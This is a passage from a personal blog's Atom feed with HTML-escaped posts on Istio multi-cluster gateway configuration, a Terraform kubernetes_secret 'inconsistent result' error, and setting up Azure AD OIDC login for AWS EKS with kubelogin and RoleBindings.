  &lt;span class=&quot;na&quot;&gt;meshNetworks&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;|-&lt;/span&gt;
      &lt;span class=&quot;s&quot;&gt;networks:&lt;/span&gt;
        &lt;span class=&quot;s&quot;&gt;network1:&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;endpoints:&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;- fromRegistry: cluster1&lt;/span&gt;
          &lt;span class=&quot;s&quot;&gt;gateways:&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;- address: 1.2.3.4&lt;/span&gt;
              &lt;span class=&quot;s&quot;&gt;port: 15443&lt;/span&gt;
            &lt;span class=&quot;s&quot;&gt;- address: 1.2.3.5&lt;/span&gt;
              &lt;span class=&quot;s&quot;&gt;port: 15443&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ConfigMap&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Save the file, apply the changes:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;➜  kubectl apply &lt;span class=&quot;nt&quot;&gt;--context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CLUSTER2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; istio_configmap_cluster2.yaml
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;4-repeat-the-same-for-the-other-cluster&quot;&gt;4. Repeat the same for the other cluster&lt;/h3&gt;

&lt;h2 id=&quot;warnings&quot;&gt;Warnings&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;according to &lt;a href=&quot;https://github.com/istio/istio/issues/29359#issuecomment-738234802&quot;&gt;this comment&lt;/a&gt; we should list all networks in all clusters (even the cluster’s own network)&lt;/li&gt;
  &lt;li&gt;hardcoding the IP like this will break if the ELB gets a new IP. In the &lt;a href=&quot;https://github.com/istio/istio/issues/29359&quot;&gt;thread&lt;/a&gt; there is a great discussion whether this will happen or not
    &lt;ul&gt;
      &lt;li&gt;one &lt;a href=&quot;https://github.com/istio/istio/issues/29359#issuecomment-896730470&quot;&gt;possible solution&lt;/a&gt; to this is to have a CronJob that periodically updates the IPs&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Terraform's kubernetes_secret giving 'Error: Provider produced inconsistent result after apply'</title>
   <link href="https://szabo.jp/2021/09/17/terraform-kubernetes_secret-inconsistent-result-after-apply/"/>
   <updated>2021-09-17T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/09/17/terraform-kubernetes_secret-inconsistent-result-after-apply</id>
   <content type="html">&lt;p&gt;I’m creating a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubernetes_secret&lt;/code&gt; via Terraform for an existing service account like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;resource &quot;kubernetes_secret&quot; &quot;my_service_account_token&quot; {
  metadata {
    name = &quot;my-service-account-token&quot;
    namespace = &quot;example&quot;
    annotations = {
      &quot;kubernetes.io/service-account.name&quot; = &quot;my-service-account&quot;
    }
  }
  type = &quot;kubernetes.io/service-account-token&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;so that then I can use this token elsewhere like: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubernetes_secret.my_service_account_token.data[&quot;token&quot;]&lt;/code&gt;.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;However applying this gave the following error:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;╷
│ Error: Provider produced inconsistent result after apply
│ 
│ When applying changes to
│ module.my_module.kubernetes_secret.my_service_account_token,
│ provider
│ &lt;span class=&quot;s2&quot;&gt;&quot;provider[&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;registry.terraform.io/hashicorp/kubernetes&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;].kubernetes&quot;&lt;/span&gt;
│ produced an unexpected new value: Root resource was present, but now
│ absent.
│ 
│ This is a bug &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the provider, which should be reported &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the provider&lt;span class=&quot;s1&quot;&gt;&apos;s
│ own issue tracker.
╵
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Turns out if the service account referenced in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubernetes.io/service-account.name&lt;/code&gt; annotation doesn’t exist, then kubernetes will delete this secret immediately. This makes terraform confused, when it creates the secret successfully and then tries to read it back, but it’s no longer there.&lt;/p&gt;

&lt;p&gt;Solution: make sure the service account exist before applying this resource.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>How to setup Azure AD authentication with AWS EKS kubernetes clusters</title>
   <link href="https://szabo.jp/2021/08/21/how-to-setup-azure-ad-with-aws-eks-kubernetes-clusters/"/>
   <updated>2021-08-21T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/08/21/how-to-setup-azure-ad-with-aws-eks-kubernetes-clusters</id>
   <content type="html">&lt;p&gt;I recently worked on setting up &lt;a href=&quot;https://azure.microsoft.com/en-us/services/active-directory/&quot;&gt;Azure Active Directory (AAD from now)&lt;/a&gt; authentication with kubernetes clusters running on &lt;a href=&quot;https://aws.amazon.com/eks/&quot;&gt;AWS EKS (Amazon Elastic Kubernetes Service)&lt;/a&gt;. The goal was to let users of the kubernetes cluster authenticate using their AAD identities, and assing permissions using the usernames and also AAD groups. Here is how I did it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;We will use OIDC-based authentication, as &lt;a href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#openid-connect-tokens&quot;&gt;it’s supported by kubernetes&lt;/a&gt; and AAD as well.&lt;/p&gt;

&lt;h2 id=&quot;setup-an-aad-enterprise-application&quot;&gt;Setup an AAD Enterprise Application&lt;/h2&gt;

&lt;p&gt;To use OIDC with AAD, we need an enterprise application. There is &lt;a href=&quot;https://github.com/kubernetes/client-go/tree/master/plugin/pkg/client/auth/azure&quot;&gt;a soon-to-be-deprecated Azure client for kubectl&lt;/a&gt;, which describes setting up two applications, however it is doable with only one as well (we are still looking into whether this is secure though and I also &lt;a href=&quot;https://github.com/kubernetes/client-go/issues/1003&quot;&gt;opened an issue asking it&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;Create an AAD Enterprise Application, then create the corresponding App Registration. In the App Registration config, under Authentication enable the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Allow public client flows&lt;/code&gt; option. If you want groups to be part of the OIDC token, under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;API permissions&lt;/code&gt; setup the permissions to access group information, and under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Token configuration&lt;/code&gt; click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Add groups claim&lt;/code&gt;. Select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Group ID&lt;/code&gt; as &lt;a href=&quot;https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-fed-group-claims#group-claims-for-applications-migrating-from-ad-fs-and-other-identity-providers&quot;&gt;there is a catch here&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The supported formats for group claims are:&lt;/p&gt;

  &lt;ul&gt;
    &lt;li&gt;Azure Active Directory Group ObjectId (Available for all groups)&lt;/li&gt;
    &lt;li&gt;sAMAccountName (Available for groups synchronized from Active Directory)&lt;/li&gt;
    &lt;li&gt;NetbiosDomain\sAMAccountName (Available for groups synchronized from Active Directory)&lt;/li&gt;
    &lt;li&gt;DNSDomainName\sAMAccountName (Available for groups synchronized from Active Directory)&lt;/li&gt;
    &lt;li&gt;On Premises Group Security Identifier (Available for groups synchronized from Active Directory)&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;So what happens with the groups created on AAD, if you select e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sAMAccountName&lt;/code&gt;? They just don’t show up at all in the claim (this took me a while to figure out). GroupIDs look something like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;093fc0e2-1d6e-4a1b-9bf8-effa0196f1f7&lt;/code&gt; (&lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/module/azuread/get-azureadgroup?view=azureadps-2.0#example-1--get-all-groups&quot;&gt;source&lt;/a&gt;), so they are not really descriptive (especially when used in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleBindings&lt;/code&gt;). On the other hand AAD group names can be changed and also &lt;a href=&quot;https://morgansimonsen.com/2016/06/28/azure-ad-allows-duplicate-group-names/&quot;&gt;not guaranteed to be unique&lt;/a&gt;, so not using them for authorization likely prevent a set of priviledge escalation vulnerabilites.&lt;/p&gt;

&lt;p&gt;Go to the App Registration &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Overview&lt;/code&gt; page and copy the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Application (client) ID&lt;/code&gt; and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Directory (tenant) ID&lt;/code&gt;. We will need these in the next step.&lt;/p&gt;

&lt;h2 id=&quot;configure-eks&quot;&gt;Configure EKS&lt;/h2&gt;

&lt;p&gt;EKS being a managed kubernetes platform, we can’t directly pass parameters to the API server (&lt;a href=&quot;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#configuring-the-api-server&quot;&gt;like&lt;/a&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--oidc-issuer-url&lt;/code&gt;), however luckily &lt;a href=&quot;https://docs.amazonaws.cn/en_us/eks/latest/userguide/authenticate-oidc-identity-provider.html&quot;&gt;EKS provides a way to configure these on the management console&lt;/a&gt;. You only need to do one of the next two.&lt;/p&gt;

&lt;h3 id=&quot;manual-configuration&quot;&gt;Manual configuration&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;Go to &lt;a href=&quot;https://us-east-2.console.aws.amazon.com/eks/home?region=us-east-2#/clusters&quot;&gt;EKS and choose Clusters&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Select your cluster&lt;/li&gt;
  &lt;li&gt;In the middle of the page select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Configuration&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authentication&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Click &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Associate Identity Provider&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Fill out like this:
    &lt;ul&gt;
      &lt;li&gt;Issuer URL: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://sts.windows.net/[Directory (tenant) ID from the previous step]/&lt;/code&gt; (e.g. https://sts.windows.net/b9a84eb8-a888-4f41-bb75-43447e36486a/)&lt;/li&gt;
      &lt;li&gt;Client ID: [Application (client) ID from the previous step]&lt;/li&gt;
      &lt;li&gt;Username claim: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;upn&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;Groups claim: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groups&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;Username prefix: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aad:&lt;/code&gt; (optional, will be added as a prefix to user identities and used in k8s RBAC)&lt;/li&gt;
      &lt;li&gt;Groups prefix: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aad:&lt;/code&gt; (same as the username prefix, but used for groups)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Save and wait until it gets applied&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;configure-via-terraform&quot;&gt;Configure via Terraform&lt;/h3&gt;

&lt;p&gt;The AWS terraform module support configuring this via the &lt;a href=&quot;https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/eks_identity_provider_config&quot;&gt;aws_eks_identity_provider_config&lt;/a&gt; like this:&lt;/p&gt;

&lt;div class=&quot;language-tf highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;resource&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aws_eks_identity_provider_config&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;example&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;cluster_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;aws_eks_cluster&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;example&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;oidc&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;identity_provider_config_name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;AzureAD&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# display name that will show up on the AWS console&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;client_id&lt;/span&gt;                     &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[Application (client) ID from the previous step]&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;issuer_url&lt;/span&gt;                    &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;https://sts.windows.net/[Directory (tenant) ID from the previous step]/&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;username_claim&lt;/span&gt;                &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;upn&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;username_prefix&lt;/span&gt;               &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aad:&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;groups_claim&lt;/span&gt;                  &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;groups&quot;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;groups_prefix&lt;/span&gt;                 &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;aad:&quot;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;timeouts&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;create&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;2h&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# optional, but it timed out for me with the default&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;delete&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;2h&quot;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# optional, but it timed out for me with the default&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This finishes the cluster setup.&lt;/p&gt;

&lt;h2 id=&quot;configure-the-clients&quot;&gt;Configure the clients&lt;/h2&gt;

&lt;p&gt;Now we need to setup kubectl to authenticate via AAD. I looked into 3 different options:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/int128/kubelogin&quot;&gt;int128/kubelogin&lt;/a&gt;: very user-friendly as it opens the browser to perform the authentication, but 3rd-party software means additional risk. Also requires sharing the client secret with all the clients, which is more additional risk.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl&lt;/code&gt; &lt;a href=&quot;https://github.com/kubernetes/client-go/tree/master/plugin/pkg/client/auth/azure&quot;&gt;azure plugin&lt;/a&gt;: works well, already part of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl&lt;/code&gt;, however &lt;a href=&quot;https://github.com/kubernetes/client-go/blob/master/plugin/pkg/client/auth/azure/azure.go#:~:text=the%20azure%20auth%20plugin%20is%20deprecated&quot;&gt;going to be deprecated and removed in the near future&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Azure/kubelogin&quot;&gt;Azure/kubelogin&lt;/a&gt;: recommended replacement for option #2, maintained by Microsoft&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Thus I will use option #3.&lt;/p&gt;

&lt;h3 id=&quot;install-azurekubelogin&quot;&gt;Install Azure/kubelogin&lt;/h3&gt;

&lt;p&gt;Follow the installation instructions from &lt;a href=&quot;https://github.com/Azure/kubelogin&quot;&gt;https://github.com/Azure/kubelogin&lt;/a&gt;:&lt;/p&gt;

&lt;h4 id=&quot;install-using-homebrew&quot;&gt;Install using homebrew:&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;Azure/kubelogin/kubelogin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;install-directly-from-github&quot;&gt;Install directly from Github&lt;/h4&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget https://github.com/Azure/kubelogin/releases/latest/download/kubelogin-linux-amd64.zip
unzip kubelogin-linux-amd64.zip &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; kubelogin
&lt;span class=&quot;nb&quot;&gt;mv &lt;/span&gt;kubelogin/bin/linux_amd64/kubelogin /usr/local/bin/
&lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; kubelogin&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;configure-kubectl&quot;&gt;Configure kubectl&lt;/h3&gt;

&lt;p&gt;Configure the cluster:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl config set-cluster &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CLUSTER_NAME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--server&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CLUSTER_ADDRESS&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
kubectl config &lt;span class=&quot;nb&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;clusters.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CLUSTER_NAME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.certificate-authority-data&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$CLUSTER_CA_DATA&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Configure the authentication (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAD_CLIENT_ID&lt;/code&gt; is the application (client) ID from the previous step, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AAD_TENANT_ID&lt;/code&gt; is the directory (tenant) ID from the previous step. Only the ID, don’t need the full URL):&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl config set-credentials &lt;span class=&quot;s2&quot;&gt;&quot;azure-user&quot;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-api-version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;client.authentication.k8s.io/v1beta1 &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;kubelogin &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;get-token &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--environment&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;AzurePublicCloud &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--server-id&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AAD_CLIENT_ID&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--client-id&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AAD_CLIENT_ID&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--tenant-id&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--exec-arg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AAD_TENANT_ID&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Configure a context with these and activate it:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl config set-context &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CLUSTER_NAME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--cluster&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CLUSTER_NAME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;azure-user
kubectl config use-context &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CLUSTER_NAME&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;usage&quot;&gt;Usage&lt;/h3&gt;

&lt;p&gt;Once kubectl is configured, run a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kubectl&lt;/code&gt; command, e.g.:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;kubectl get pods
To sign &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;, use a web browser to open the page https://microsoft.com/devicelogin and enter the code B7D3SVXHV to authenticate.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Open the link, enter the code, complete the authentication. Close the tab when told to do so. Return to the terminal. You’ll likely see a message like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Error from server &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Forbidden&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;: pods is forbidden: User &lt;span class=&quot;s2&quot;&gt;&quot;aad:my_user@company.com&quot;&lt;/span&gt; cannot list resource &lt;span class=&quot;s2&quot;&gt;&quot;pods&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;API group &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;the namespace &lt;span class=&quot;s2&quot;&gt;&quot;default&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This means authentication was successful, but your user is not authorized to perform the requested action.&lt;/p&gt;

&lt;h3 id=&quot;authorization&quot;&gt;Authorization&lt;/h3&gt;

&lt;p&gt;Now that the authentication works, we can setup &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(Cluster)RoleBindings&lt;/code&gt; using these usernames and groups (observe the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aad:&lt;/code&gt; prefix on both the usernames and groups. Change it if you used something else in the EKS config):&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;RoleBinding&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;team-admin-access&lt;/span&gt;
